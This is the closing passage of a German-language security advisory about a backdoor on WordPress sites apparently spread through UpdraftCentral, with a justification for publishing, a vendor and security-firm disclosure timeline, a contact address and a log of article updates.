Die Veröffentlichung hilft dem Angreifer nicht. Er braucht gültige Schlüssel, die er bereits hat, und nichts in diesem Artikel gibt ihm einen neuen Angriffsweg. Den Verteidigern gibt sie dagegen eine Anleitung zum Schutz. Die Hintertür stammt zudem aus einem Generator, der für jede Website andere Namen, Tokens und Passwörter erzeugt, was auf ein Werkzeug für eine große Zahl von Websites hindeutet. Jede Stunde Warten gibt dem Angreifer Zeit für weitere Websites.
Kommunikation mit dem Hersteller und Sicherheitsfirmen
- 19.10.2026: Meldung an TeamUpdraft über das Premium-Support-Formular, mit Logs und einer Analyse von Website A
- 19.10.2026: Nachtrag zu den Angriffen auf die Websites B und C, die zweite Probe und ein Vergleich des User-Agents mit dem echten Dashboard
- 19.10.2026: Wordfence und Patchstack informiert, damit sie eine Erkennung ergänzen und weitere Betreiber warnen können
- Vom Hersteller erhielten wir bis Redaktionsschluss keine Antwort. Wir ergänzen den Artikel.
Wenn Sie einen ähnlichen Angriff beobachtet haben, schreiben Sie uns an info@nethemba.com. Proben und weiteres technisches Material stellen wir dem Hersteller und Sicherheitsteams auf Anfrage zur Verfügung.
Aktualisierungen
- 19.10.2026: Erstveröffentlichung.
- 19.10.2026: Hinweis, dass das UpdraftCentral-Log nur 50 Ereignisse speichert, plus Prüfung des Access-Logs; Empfehlung, die Verbindung nicht neu anzulegen; Vorgehen bei vollständig kompromittierten Websites; Präzisierung der von CVE-2026-10795 betroffenen Versionen.

